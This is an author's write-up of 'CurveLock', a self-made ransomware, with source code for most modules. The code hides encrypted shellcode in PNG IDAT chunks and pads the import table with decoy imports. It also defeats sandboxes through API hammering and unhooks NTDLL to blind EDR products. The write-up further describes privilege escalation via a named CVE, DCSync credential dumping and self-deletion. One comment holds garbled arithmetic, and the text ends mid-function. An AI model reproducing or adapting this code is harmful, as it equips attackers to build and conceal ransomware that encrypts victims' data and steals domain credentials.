CurveLock
How CurveLock Ransomware works
Introduction
CurveLock is a modern ransomware designed from scratch to infect faster and encrypt target contents using Elliptical Curve Cryptography (ECC) algorithm.
Why create a ransomware you ask? Well because I wanted to learn and show how Elliptic curve cryptography could be used in tandem with AES-256 to encrypt victim data. Last major ransomware that employed ECC was CTB-Locker. Thus in order to know why other ransomwares haven't employed ECC, I created CurveLock. And the answer why is ..... not that complicated actually.
ECC has simply, fallen out of favor. The support for native ECC libraries is way less than those of it's equivalents like RSA. This means that if something unexpected happens, you are on your own. And believe me - ransomware operators HATE that. Thus in order to gain more profit and reliability, they continue using the tried and tested RSA+AES combo. If people start giving more attention to ECC, surely they will prefer ECC again due to ECC's superior compute ability.
Anyway, that's too much backstory. You are here to know how it works and give that to you I shall. CurveLock ransomware attack chain consists of three main parts -
Payload Embedder - It embeds the shellcode in various IDAT sections of a benign PNG file.
CurveLock - The mastermind of the whole operation. It is responsible for everything ranging from EDR evasion to payload execution.
Payload - Finally the proverbial "bullet" of the CurveLock weapon. It is responsible for employing ECC and AES to encrypt victim data.
Now you can expand and read the below sections to know more about the inner workings of CurveLock.

Features Of CurveLock
Utilizes API Hammering to obfuscate call stack of the ransomware to evade detection from sandbox environments
Creates a random compile time IAT seed to evade static detection
Unhooks NTDLL by creating a suspended process, copying the clean NTDLL from it and replacing out NTDLL in the
.text
sectionExtracts process token and checks it's elevation and integrity and determines it it is being run as Admin or not.
If not being run as admin, it exploits CVE-2024-6769 by Fortra to create a new process with high integrity token.
Exploits DcSync using the DCSyncer tool by notsoshant to extract username and NTLM hash combinations from the domain controller and parses it.
Performs self deletion to avoid manual analysis after execution.
Embeds the Ransomware Payload into a
.PNG
file's IDAT sections and encrypts each section with it's own RC4 key.Payload is extracted from the
.PNG
file at runtime and executed.Also provides the decryptor for the encrypted files.
Click on the expandable tabs to learn more about a specific module.
Payload Embedder
Payload Embedder

It takes an input PNG file and a separate payload (shellcode), encrypts the payload in RC4-encrypted chunks, and hides those chunks inside custom IDAT sections of a copy of the PNG. It:
Ensures required Python packages are installed (
pycryptodome
,colorama
).Defines helper routines for coloring output, generating random bytes, CRC calculation, and RC4 encryption.
Reads the payload and verifies the target is a valid PNG.
Removes the original PNG’s end marker, appends a “marker” IDAT, then embeds the RC4 encrypted payload in multiple IDAT chunks, and finally re-appends the PNG footer.
Each IDAT payload chunk is encrypted using it's own RC4 key.
Prints out the special marker CRC for later extraction in a companion C program
Following is the code analysis of Payload Embedder
1. generate_random_bytes(key_length=RC4_KEY_LNG)
generate_random_bytes(key_length=RC4_KEY_LNG)
def generate_random_bytes(key_length=RC4_KEY_LNG):
return secrets.token_bytes(key_length)
Purpose: Securely generate a random byte string.
Default:
RC4_KEY_LNG = 16
bytes.Use Cases:
Generating RC4 keys.
Creating a random buffer for the special marker IDAT.
2. calculate_chunk_crc(chunk_data)
calculate_chunk_crc(chunk_data)
def calculate_chunk_crc(chunk_data):
return zlib.crc32(chunk_data) & 0xffffffff
Purpose: Compute the CRC32 checksum of PNG chunk data.
Details:
Uses
zlib.crc32
.Masks to 32 bits (
& 0xffffffff
).
3. create_idat_section(buffer)
create_idat_section(buffer)
def create_idat_section(buffer):
if len(buffer) > MAX_IDAT_LNG:
print_red("[!] Input Data Is Bigger Than IDAT Section Limit")
sys.exit(0)
idat_chunk_length = len(buffer).to_bytes(4, byteorder='big')
idat_crc = calculate_chunk_crc(IDAT + buffer).to_bytes(4, byteorder='big')
idat_section = idat_chunk_length + IDAT + buffer + idat_crc
print_white(f"[>] Created IDAT Of Length [{int.from_bytes(idat_chunk_length, byteorder='big')}] And Hash [{hex(int.from_bytes(idat_crc, byteorder='big'))}]")
return idat_section, idat_crc
Purpose: Build a valid PNG IDAT chunk containing arbitrary data.
Key Steps:
Size check: Ensures
buffer
≤MAX_IDAT_LNG
(8192 bytes).Length field: 4-byte big-endian of
len(buffer)
.Chunk type: The literal bytes
b'IDAT'
.CRC: Over
IDAT
+buffer
, written as 4-byte big-endian.Assembly:
[length][IDAT][buffer][CRC]
.
Returns: Tuple
(full_chunk_bytes, crc_bytes)
.
4. remove_bytes_from_end(file_path, bytes_to_remove)
remove_bytes_from_end(file_path, bytes_to_remove)
def remove_bytes_from_end(file_path, bytes_to_remove):
with open(file_path, 'rb+') as f:
f.seek(0, 2) # Seek to EOF
file_size = f.tell()
f.truncate(file_size - bytes_to_remove)
Purpose: Truncate the last
bytes_to_remove
bytes of a file.Use Case: Remove the PNG’s IEND footer before appending custom data.
5. encrypt_rc4(key, data)
encrypt_rc4(key, data)
def encrypt_rc4(key, data):
cipher = ARC4.new(key)
return cipher.encrypt(data)
Purpose: Encrypts
data
using RC4 and the providedkey
.Library:
Crypto.Cipher.ARC4
from PyCryptodome.Returns: Encrypted byte string of same length as
data
.
6. plant_payload_in_png(ipng_fname, opng_fname, png_buffer)
plant_payload_in_png(ipng_fname, opng_fname, png_buffer)
def plant_payload_in_png(ipng_fname, opng_fname, png_buffer):
shutil.copyfile(ipng_fname, opng_fname)
remove_bytes_from_end(opng_fname, len(IEND))
# Marker IDAT
mark_idat, special_idat_crc = create_idat_section(
generate_random_bytes(random.randint(16, 256))
)
with open(opng_fname, 'ab') as f:
f.write(mark_idat)
# Embed encrypted payload in chunks
with open(opng_fname, 'ab') as f:
for i in range(0, len(png_buffer), MAX_IDAT_LNG - RC4_KEY_LNG):
rc4_key = generate_random_bytes()
chunk_plain = png_buffer[i:i + (MAX_IDAT_LNG - RC4_KEY_LNG)]
chunk_data = rc4_key + encrypt_rc4(rc4_key, chunk_plain)
idat_section, _= create_idat_section(chunk_data)
print_cyan(f"[i] Encrypted IDAT With RC4 Key: {rc4_key.hex()}")
f.write(idat_section)
with open(opng_fname, 'ab') as f:
f.write(IEND)
return special_idat_crc
Purpose: Core embedding routine.
Workflow:
Copy original PNG to output.
Strip its IEND footer.
Write a “marker” IDAT chunk with random data of random length (16–256 bytes) → returns its CRC (
special_idat_crc
).Iterate over the payload buffer in slices of up to
(MAX_IDAT_LNG – RC4_KEY_LNG)
bytes:Generate a fresh 16-byte RC4 key.
Prepend the key to the encrypted slice.
Package into an IDAT section and append.
Re-append the standard IEND footer.
Returns: CRC of the marker IDAT (for detection later).
7. is_png(file_path)
is_png(file_path)
def is_png(file_path):
if not os.path.isfile(file_path):
raise FileNotFoundError(f"[!] '{file_path}' does not exist")
with open(file_path, 'rb') as f:
return f.read(8) == b'\x89PNG\r\n\x1a\n'
Purpose: Validate that a file is a PNG by checking its 8-byte signature.
Errors: Raises if the path doesn’t exist; catches and reports I/O errors.
8. read_payload_from_file(payload_file)
read_payload_from_file(payload_file)
def read_payload_from_file(payload_file):
if not os.path.isfile(payload_file):
raise FileNotFoundError(f"[!] '{payload_file}' does not exist")
with open(payload_file, 'rb') as f:
return f.read()
Purpose: Load the entire payload from disk into memory.
Errors: Raises if the file is missing.
9. main()
main()
def main():
parser = argparse.ArgumentParser(description="Embed An Encrypted Payload Inside A PNG")
parser.add_argument('-png', '--pngfile', type=str, required=True, help="Input PNG file to embed the payload into")
parser.add_argument('-o', '--output', type=str, required=True, help="Output PNG file name")
parser.add_argument('-p', '--payload', type=str, required=True, help="Payload file to embed")
args = parser.parse_args()
if not args.output.endswith('.png'):
args.output += '.png'
if not is_png(args.pngfile):
print_red(f"[!] '{args.pngfile}' is not a valid PNG file.")
sys.exit(0)
payload_data = read_payload_from_file(args.payload)
special_idat_crc = plant_payload_in_png(args.pngfile, args.output, payload_data)
print_yellow(f"[*] '{args.output}' is created!")
print_white("[i] Copy The Following To Your Code: \n")
print_blue("#define MARKED_IDAT_HASH\t 0x{:X}\n".format(int.from_bytes(special_idat_crc, byteorder='big')))
Purpose: CLI entry point.
Arguments:
-png
/--pngfile
: source PNG.-o
/--output
: desired output filename.-p
/--payload
: file to embed.
Flow:
Append “.png” to output if missing.
Validate input is PNG.
Read payload.
Call
plant_payload_in_png
.Print success message and emit a
#define
macro containing the marker CRC (hex) for downstream extraction.
CurveLock Ransomware
Compile-Time IAT Camouflage

CurveLock abuses compile-time constants and a dead-code API import path to hide Import Address Table (IAT) entries in a binary without ever actually calling them at runtime. At build time it generates a pseudo-random seed based on the compiler’s __TIME__
macro, writes it into a heap buffer, then references a bunch of “whitelisted” WinAPI functions behind an impossible if
so they become linked but never executed.
Function-by-Function Analysis
1. RandomCompileTimeSeed
RandomCompileTimeSeed
int RandomCompileTimeSeed(void)
{
return '0' * -40271 +
__TIME__[7] * 1 +
__TIME__[6] * 10 +
__TIME__[4] * 60 +
__TIME__[3] * 600 +
__TIME__[1] * 3600 +
__TIME__[0] * 36000;
}
Purpose: Compute a deterministic “random” integer at compile time, based entirely on the build timestamp (
__TIME__
).How it works:
'0' * -40271
'0'
is ASCII 0x30 (48); multiplying by –40271 yields a constant offset of –1,932, (–193,? actually –48 × 40271 = –1,932,? check) that ensures the final sum isn’t trivially just the time.
__TIME__
indexing__TIME__
is a string literal"HH:MM:SS"
.Indexes:
[7]
→ last second digit[6]
→ first second digit[4]
→ last minute digit[3]
→ first minute digit[1]
→ last hour digit (ones place)[0]
→ first hour digit (tens place)
Weighting factors
Seconds →
×1
and×10
reproduce 0–59Minutes →
×60
and×600
reproduce 0–3540Hours →
×3600
and×36000
reproduce 0–82800
Result
A unique integer between roughly –2 million and +100 thousand depending on compile time.
2. Helper
Helper
PVOID Helper(PVOID* ppAddress) {
// Allocate and zero 0xFF bytes
PVOID pAddress = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0xFF);
if (!pAddress)
return NULL;
// Store a small “random” seed value in the first 4 bytes
*(int*)pAddress = RandomCompileTimeSeed() % 0xFF;
// Return both base pointer and via out-parameter
*ppAddress = pAddress;
return pAddress;
}
Purpose:
Allocate a 255-byte zeroed buffer on the process heap.
Write a byte-sized compile-time seed into its first 4 bytes.
Provide the allocated pointer back via two routes (return value and out-param).
Step-by-step:
HeapAlloc
Uses the default process heap.
HEAP_ZERO_MEMORY
ensures the entire 0xFF bytes are initially zero.
Null-check
If allocation fails, returns
NULL
.
Seeding
Calls
RandomCompileTimeSeed()
, takes modulo 255 (fits in a byte).Stores it into the first 4 bytes (only the low byte matters).
Pointer passing
Writes the same
pAddress
into*ppAddress
.Returns
pAddress
so caller can use whichever convention.
3. IatCamouflage
IatCamouflage
VOID IatCamouflage() {
PVOID pAddress = NULL;
int* A = (int*)Helper(&pAddress);
// This branch can never be true, since seed % 0xFF < 255
if (*A > 350) {
// Force-import these WinAPI calls
unsigned __int64 i = MessageBoxA(NULL, NULL, NULL, NULL);
i = GetLastError();
i = SetCriticalSectionSpinCount(NULL, NULL);
i = GetWindowContextHelpId(NULL);
i = GetWindowLongPtrW(NULL, NULL);
i = RegisterClassW(NULL);
i = IsWindowVisible(NULL);
i = ConvertDefaultLocale(NULL);
i = MultiByteToWideChar(NULL, NULL, NULL, NULL, NULL, NULL);
i = IsDialogMessageW(NULL, NULL);
}
// Clean up allocated buffer
HeapFree(GetProcessHeap(), 0, pAddress);
}
Purpose:
Trigger linker to resolve (“import”) a suite of WinAPI functions without ever executing them at runtime.
Hide these imports in the IAT as “camouflaged” calls.
Behavior:
Heap buffer & seed
Calls
Helper
, stores buffer pointer and reads back*A
=(seed % 255)
.
Impossible
if
Checks
*A > 350
→ always false (range 0–254).Prevents execution of the API calls at runtime.
Dead-code API calls
Each assignment to
i
references a different WinAPI.Ensures the linker pulls them into the IAT.
Cleanup
HeapFree
to avoid leaking the 0xFF-byte allocation.
Since the impossible branch never executes, there’s no runtime evidence of these calls. Thus CurveLock's import table now contains your chosen “whitelisted” APIs, even though they never run. Also The seed value in the heap buffer and thus the single-byte stored changes whenever you recompile at a different time, but has no practical effect on the camouflage logic. This is done to induce randomness of the IAT imports.
API Hammering

API-Hammering is an anti-sandbox technique that involves repeatedly calling some benign WinAPIs to obfuscate the call stack of the malware. Sandbox measures such as ANY.RUN and Malcore get confused upon seeing the obfuscated call stack and mark the binary as benign. I analyzed CurveLock in malcore and it mistakenly marks it as benign. See the report here -> Report.
Function-By-Function Analysis
BOOL ApiHammering(DWORD dwStress) {
WCHAR szPath[MAX_PATH * 2],
szTmpPath[MAX_PATH];
HANDLE hRFile = INVALID_HANDLE_VALUE,
hWFile = INVALID_HANDLE_VALUE;
DWORD dwNumberOfBytesRead = NULL,
dwNumberOfBytesWritten = NULL;
PBYTE pRandBuffer = NULL;
SIZE_T sBufferSize = 0xFFFFF; // 1048575 bytes
INT Random = 0;
…
}
Variable Declarations
szTmpPath
: Holds the system temp folder (MAX_PATH
wide chars).szPath
: Twice as large to concatenateszTmpPath + filename
.hWFile
,hRFile
: Write/read file handles, initialized toINVALID_HANDLE_VALUE
.dwNumberOfBytesWritten/Read
: I/O byte counts.pRandBuffer
: Pointer to heap-allocated buffer.sBufferSize
: Set to0xFFFFF
(≈1 MiB).Random
: Temporary for byte-value seed.
1. Get the Temp Folder Path
if (!GetTempPathW(MAX_PATH, szTmpPath)) {
printf("[!] GetTempPathW Failed With Error : %d \n", GetLastError());
return FALSE;
}
Purpose: Query Windows for the current user’s temp directory (
C:\Users\<…>\AppData\Local\Temp\
).On Failure: Logs the error code and aborts (
FALSE
).
2. Build the Full Temp File Path
wsprintfW(szPath, L"%s%s", szTmpPath, TMPFILE);
Purpose: Concatenate
szTmpPath
with your#define TMPFILE L"your.tmp"
to form the full path.Example: If
szTmpPath = L"C:\\Temp\\"
andTMPFILE = L"vmtest.bin"
, thenszPath = L"C:\\Temp\\vmtest.bin"
.
3. Stress Loop
for (SIZE_T i = 0; i < dwStress; i++) {
// … write, read, cleanup …
}
Purpose: Repeat the hammering sequence
dwStress
times. Higher counts increase detection sensitivity (but also total runtime).
3a. Create & Write the Temp File
hWFile = CreateFileW(
szPath,
GENERIC_WRITE,
0, NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_TEMPORARY,
NULL
);
if (hWFile == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileW Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Allocate and fill buffer
pRandBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sBufferSize);
srand(time(NULL));
Random = rand() % 0xFF;
memset(pRandBuffer, Random, sBufferSize);
// Write to disk
if (!WriteFile(hWFile, pRandBuffer, sBufferSize, &dwNumberOfBytesWritten, NULL)
|| dwNumberOfBytesWritten != sBufferSize) {
printf("[!] WriteFile Failed With Error : %d \n", GetLastError());
printf("[i] Written %d Bytes of %d \n", dwNumberOfBytesWritten, sBufferSize);
return FALSE;
}
RtlZeroMemory(pRandBuffer, sBufferSize);
CloseHandle(hWFile);
CreateFileW
Opens/creates the temp file with
GENERIC_WRITE
.FILE_ATTRIBUTE_TEMPORARY
hints Windows to keep data in cache.
Buffer Allocation & Randomization
HeapAlloc(…, HEAP_ZERO_MEMORY, sBufferSize)
→ ~1 MiB zeroed buffer.Seed
rand()
withtime(NULL)
; pick a byte0…254
.memset
fills buffer with that byte.
WriteFile
Writes entire buffer; verifies the full
sBufferSize
was written.
Cleanup
RtlZeroMemory
wipes buffer.CloseHandle
closes the write handle.
3b. Re-Open & Read (with Auto-Delete)
cCopyEdithRFile = CreateFileW(
szPath,
GENERIC_READ,
0, NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE,
NULL
);
if (hRFile == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileW Failed With Error : %d \n", GetLastError());
return FALSE;
}
if (!ReadFile(hRFile, pRandBuffer, sBufferSize, &dwNumberOfBytesRead, NULL)
|| dwNumberOfBytesRead != sBufferSize) {
printf("[!] ReadFile Failed With Error : %d \n", GetLastError());
printf("[i] Read %d Bytes of %d \n", dwNumberOfBytesRead, sBufferSize);
return FALSE;
}
RtlZeroMemory(pRandBuffer, sBufferSize);
HeapFree(GetProcessHeap(), 0, pRandBuffer);
CloseHandle(hRFile); // triggers file deletion
CreateFileW
for ReadOPEN_EXISTING
to open the file you just wrote.FILE_FLAG_DELETE_ON_CLOSE
ensures the file is removed when the handle is closed.
ReadFile
Reads back into the same buffer; checks byte count.
Cleanup
Zero the buffer again.
Free the heap allocation.
Close the read handle (deletes the temp file).
4. Return Success
cCopyEditreturn TRUE;
If all
dwStress
iterations complete without error, returnsTRUE
.
This is run on an infinite loop in a background thread.
NTDLL Unhooking Using Process Hollowing

NTDLL unhooking is required for CurveLock to run smoothly as EDR's often hook the ntdll.dll
functions and monitor API usage. Manually importing an ntdll.dll
from disk is extremely risky as it is very unusual for processes to do that and EDRs will definitely catch that. An alternative method to unhook ntdll.dll
involves reading it from a suspended process. This works because EDRs require a running process to install their hooks and therefore a process created in a suspended state, will contain a clean ntdll.dll
image allowing for the text section of the current process to be substituted with that of the suspended one. This process is called process hollowing and CurveLock does just that.
Function-by-Function Analysis
1. GetNtdllSizeFromBaseAddress
GetNtdllSizeFromBaseAddress
SIZE_T GetNtdllSizeFromBaseAddress(IN PBYTE pNtdllModule) {
// Parse the DOS header
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pNtdllModule;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
// Parse the NT headers
PIMAGE_NT_HEADERS pImgNtHdrs =
(PIMAGE_NT_HEADERS)(pNtdllModule + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return NULL;
// Return the NTDLL's size
return pImgNtHdrs->OptionalHeader.SizeOfImage;
}
Purpose: Given a base pointer to an in-memory module, verify it’s a valid PE image and return its total image size.
Steps:
Cast
pNtdllModule
to aIMAGE_DOS_HEADER*
and checke_magic == 'MZ'
.Locate the
IMAGE_NT_HEADERS
viae_lfanew
offset and checkSignature == 'PE\0\0'
.Read
OptionalHeader.SizeOfImage
, the span in memory covering all sections.
Failure Modes: Returns
0
(NULL) on any header mismatch.
2. FetchLocalNtdllBaseAddress
FetchLocalNtdllBaseAddress
PVOID FetchLocalNtdllBaseAddress() {
#ifdef _WIN64
PPEB pPeb = (PPEB)__readgsqword(0x60);
#elif _WIN32
PPEB pPeb = (PPEB)__readfsdword(0x30);
#endif
// Walk to the second entry in InMemoryOrderModuleList
PLDR_DATA_TABLE_ENTRY pLdr =
(PLDR_DATA_TABLE_ENTRY)(
(PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink
- 0x10
);
return pLdr->DllBase;
}
Purpose: Retrieve the base address of the loaded
ntdll.dll
in the current process by walking the PEB’s module list.Steps:
Read the PEB pointer from the segment register (
GS:[0x60]
on x64 orFS:[0x30]
on x86).Navigate
InMemoryOrderModuleList.Flink
twice to skip theNULL
/self entry andkernel32.dll
, landing onntdll.dll
.Subtract
0x10
to convert from theLIST_ENTRY
back to theLDR_DATA_TABLE_ENTRY
start.Return
DllBase
, the module’s in-memory base.
3. ReadNtdllFromASuspendedProcess
ReadNtdllFromASuspendedProcess
BOOL ReadNtdllFromASuspendedProcess(
IN LPCSTR lpProcessName,
OUT PVOID* ppNtdllBuf
) {
CHAR cWinPath[MAX_PATH/2] = {0}, cProcessPath[MAX_PATH] = {0};
PVOID pNtdllModule = FetchLocalNtdllBaseAddress();
PBYTE pNtdllBuffer = NULL;
SIZE_T sNtdllSize = 0, sNumberOfBytesRead = 0;
STARTUPINFO Si = {0};
PROCESS_INFORMATION Pi = {0};
Si.cb = sizeof(Si);
// Build full path: "%WINDIR%\System32\<lpProcessName>"
if (!GetWindowsDirectoryA(cWinPath, _countof(cWinPath))) {
printf("[!] GetWindowsDirectoryA Failed: %d\n", GetLastError());
goto _EndOfFunc;
}
sprintf_s(cProcessPath, sizeof(cProcessPath),
"%s\\System32\\%s", cWinPath, lpProcessName);
// Start the target in DEBUG_PROCESS mode (acts like CREATE_SUSPENDED)
if (!CreateProcessA(
NULL, cProcessPath,
NULL, NULL, FALSE,
DEBUG_PROCESS,
NULL, NULL,
&Si, &Pi
)) {
printf("[!] CreateProcessA Failed: %d\n", GetLastError());
goto _EndOfFunc;
}
// Determine NTDLL size and allocate buffer
sNtdllSize = GetNtdllSizeFromBaseAddress((PBYTE)pNtdllModule);
if (!sNtdllSize) goto _EndOfFunc;
pNtdllBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sNtdllSize);
if (!pNtdllBuffer) goto _EndOfFunc;
// Read the remote ntdll.dll image into local buffer
if (!ReadProcessMemory(
Pi.hProcess,
pNtdllModule,
pNtdllBuffer,
sNtdllSize,
&sNumberOfBytesRead
) || sNumberOfBytesRead != sNtdllSize) {
printf("[!] ReadProcessMemory Failed: %d (read %zu of %zu)\n",
GetLastError(), sNumberOfBytesRead, sNtdllSize);
goto _EndOfFunc;
}
*ppNtdllBuf = pNtdllBuffer;
// Stop debugging and terminate the remote process
DebugActiveProcessStop(Pi.dwProcessId);
TerminateProcess(Pi.hProcess, 0);
printf("[+] Suspended Process Terminated Successfully\n");
_EndOfFunc:
if (Pi.hProcess) CloseHandle(Pi.hProcess);
if (Pi.hThread) CloseHandle(Pi.hThread);
return (*ppNtdllBuf != NULL);
}
Purpose: Launch a fresh copy of e.g.
mspaint.exe
in a suspended/debug state, read its unmodifiedntdll.dll
image into local memory, then tear down the process.Key Points:
Remote Process Creation: Uses
DEBUG_PROCESS
to prevent immediate execution of user code.Size & Allocation: Calls our previous routines to size and allocate a buffer.
Memory Read:
ReadProcessMemory
pulls the entirentdll.dll
image.Cleanup: Stops debugging, terminates, and closes handles.
Failure Modes: Cleans up handles and returns
FALSE
on any error.
4. ReplaceNtdllTxtSection
ReplaceNtdllTxtSection
BOOL ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll) {
PVOID pLocalNtdll = FetchLocalNtdllBaseAddress();
PIMAGE_DOS_HEADER pLocalDosHdr =
(PIMAGE_DOS_HEADER)pLocalNtdll;
if (pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE) return FALSE;
PIMAGE_NT_HEADERS pLocalNtHdrs =
(PIMAGE_NT_HEADERS)(
(PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew
);
if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE) return FALSE;
// Locate the “.text” section
PIMAGE_SECTION_HEADER pSection =
IMAGE_FIRST_SECTION(pLocalNtHdrs);
PVOID pLocalTxt = NULL, pRemoteTxt = NULL;
SIZE_T txtSize = 0;
for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i++, pSection++) {
// Compare section name case-insensitive to “.text”
if ((*(ULONG*)pSection->Name | 0x20202020) == 'xet.') {
pLocalTxt = (PVOID)((ULONG_PTR)pLocalNtdll + pSection->VirtualAddress);
pRemoteTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + pSection->VirtualAddress);
txtSize = pSection->Misc.VirtualSize;
break;
}
}
if (!pLocalTxt || !pRemoteTxt || !txtSize) return FALSE;
// Sanity: first DWORDs should match
if (*(ULONG*)pLocalTxt != *(ULONG*)pRemoteTxt) return FALSE;
// Make the section writable
DWORD oldProt;
if (!VirtualProtect(pLocalTxt, txtSize,
PAGE_EXECUTE_WRITECOPY, &oldProt)) {
printf("[!] VirtualProtect [1] Failed: %d\n", GetLastError());
return FALSE;
}
// Overwrite the hooked bytes
memcpy(pLocalTxt, pRemoteTxt, txtSize);
// Restore previous protection
if (!VirtualProtect(pLocalTxt, txtSize,
oldProt, &oldProt)) {
printf("[!] VirtualProtect [2] Failed: %d\n", GetLastError());
return FALSE;
}
return TRUE;
}
Purpose: Overwrite the in-process
.text
section ofntdll.dll
with a clean copy.Steps:
Validate PE Headers of the local
ntdll.dll
.Find the
.text
section by iterating section headers and comparing names.Compute base pointers for local vs. remote text using
VirtualAddress
.Ensure size and initial bytes match for sanity.
Change memory protection to allow writes.
memcpy
the unhooked code over the potentially hooked bytes.Restore protections.
5. UnhookNtDLL
UnhookNtDLL
BOOL UnhookNtDLL() {
PVOID pUnhookedNtdll = NULL;
// 1) Read a pristine copy from a suspended mspaint.exe
if (!ReadNtdllFromASuspendedProcess("mspaint.exe", &pUnhookedNtdll)) {
printf("[!] Failed to read NTDLL from a suspended process.\n");
return FALSE;
}
// 2) Patch our own .text section
if (!ReplaceNtdllTxtSection(pUnhookedNtdll)) {
printf("[!] Failed to replace NTDLL text section.\n");
HeapFree(GetProcessHeap(), 0, pUnhookedNtdll);
return FALSE;
}
// 3) Cleanup
HeapFree(GetProcessHeap(), 0, pUnhookedNtdll);
printf("[+] Successfully unhooked NTDLL.\n");
return TRUE;
}
Purpose: High-level orchestration of the unhooking process.
Flow:
Fetch clean image via suspended process.
Apply patch to current process’s
ntdll.dll
.Free the temporary buffer and report success.
In the end, any user-mode hooks or patches in CurveLock’s ntdll.dll
are overwritten with original bytes, restoring expected system call stubs.
Custom GetProcAddress
GetProcAddressQ
is a low-level manual API resolver used to locate the address of an exported function in a loaded module (DLL or EXE) without using Windows API. Thus it is highly suspicious if a binary has it in it's IAT import. In order to avoid static detection, I had to create a manual GetProcAddress
function. Here is it's implementation.
1. Initial Setup & Header Parsing
PBYTE pBase = (PBYTE)hModule;
// DOS Header validation
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
// NT Headers validation
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return NULL;
Converts the base address into a byte pointer.
Verifies the DOS and NT headers (
MZ
,PE\0\0
) to ensure a valid PE image.
2. Locate the Export Directory
IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;
PIMAGE_EXPORT_DIRECTORY pImgExportDir =
(PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
Retrieves the export table directory entry from the optional header.
Converts its Relative Virtual Address (RVA) to a pointer in memory.
3. Resolve Export Table Components
PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
The export directory contains:
Function names → an array of RVAs to null-terminated strings.
Ordinals → mapping of name indices to function index.
Function addresses → actual function RVA values.
Converts each of these arrays into pointers for traversal.
4. Loop Through All Exported Functions
for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) {
CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
PVOID pFunctionAddress = (PVOID)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
if (strcmp(lpApiName, pFunctionName) == 0) {
printf("[ %0.4d ] FOUND API -\t NAME: %s -\t ADDRESS: 0x%p -\t ORDINAL: %d\n",
i, pFunctionName, pFunctionAddress, FunctionOrdinalArray[i]);
return pFunctionAddress;
}
}
Iterates through the function names (not all exported functions, only named ones).
Uses
strcmp
to check if the current function matcheslpApiName
.Resolves the function address using
FunctionOrdinalArray[i]
.On match: prints debug info and returns the absolute address.
5. Return NULL If Not Found
cCopyEditreturn NULL;
If no function name matched, return
NULL
to indicate failure.
Token Manipulation

CurveLock uses token manipulation to determine whether the current process is running with elevated (Administrator) privileges and to query its integrity level. They dynamically resolve native NTDLL calls (NtQueryInformationToken
, NtOpenProcessToken
, and SID-helper routines) to avoid static imports, then use them to:
Open the current process’s token.
Ask whether it’s elevated.
Retrieve and decode its mandatory integrity level (Low, Medium, High, or Unknown).
Function-by-Function Analysis
1. IsTokenElevated
IsTokenElevated
BOOL IsTokenElevated(IN HANDLE hToken) {
NTSTATUS STATUS = 0x00;
TOKEN_ELEVATION TknElvtion = { 0 };
DWORD dwLength = sizeof(TOKEN_ELEVATION);
fnNtQueryInformationToken pNtQueryInformationToken = NULL;
BOOL bTokenIsElevated = FALSE;
// 1. Reject invalid handle
if (!hToken)
return FALSE;
// 2. Resolve NtQueryInformationToken from NTDLL
pNtQueryInformationToken =
(fnNtQueryInformationToken)
GetProcAddressQ(
GetModuleHandle(TEXT("NTDLL")),
"NtQueryInformationToken"
);
if (!pNtQueryInformationToken) {
printf("[!] GetProcAddress [%d] Failed With Error: %d\n",
__LINE__, GetLastError());
return FALSE;
}
// 3. Query the TokenElevation class
STATUS = pNtQueryInformationToken(
hToken,
TokenElevation,
&TknElvtion,
dwLength,
&dwLength
);
if (STATUS == 0x00) // STATUS_SUCCESS
bTokenIsElevated = TknElvtion.TokenIsElevated;
// 4. Return TRUE if elevated, FALSE otherwise
return bTokenIsElevated;
}
Validate input: Immediately returns
FALSE
ifhToken
isNULL
.Dynamic import: Uses
GetProcAddressQ
to avoid static linking toNtQueryInformationToken
.Token query: Requests the built-in
TokenElevation
information class.Interpretation:
TknElvtion.TokenIsElevated
is a DWORD—nonzero means the token has admin rights.
2. GetCurrentToken
GetCurrentToken
HANDLE GetCurrentToken() {
HANDLE hToken = NULL;
NTSTATUS STATUS = 0x00;
fnNtOpenProcessToken pNtOpenProcessToken = NULL;
// 1. Resolve NtOpenProcessToken
pNtOpenProcessToken =
(fnNtOpenProcessToken)
GetProcAddressQ(
GetModuleHandle(TEXT("NTDLL")),
"NtOpenProcessToken"
);
if (!pNtOpenProcessToken) {
printf("[!] GetProcAddress Failed With Error: %d\n",
GetLastError());
return NULL;
}
// 2. Open the process token of the current process
// (HANDLE)-1 is pseudo-handle for self
STATUS = pNtOpenProcessToken(
(HANDLE)-1,
TOKEN_QUERY,
&hToken
);
if (STATUS != 0x00) { // not STATUS_SUCCESS
